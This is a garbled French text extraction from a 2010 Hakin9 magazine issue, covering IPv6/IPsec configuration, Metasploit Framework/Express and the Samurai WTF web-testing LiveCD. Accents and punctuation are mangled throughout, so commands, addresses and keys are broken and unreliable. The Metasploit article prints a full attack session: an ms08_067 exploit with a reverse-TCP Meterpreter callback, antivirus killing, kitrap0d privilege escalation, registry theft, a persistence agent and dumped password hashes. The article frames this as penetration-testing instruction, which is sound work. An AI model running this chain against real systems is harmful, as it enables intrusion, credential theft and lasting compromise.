Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 21: hakin9_05_2010_FR

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

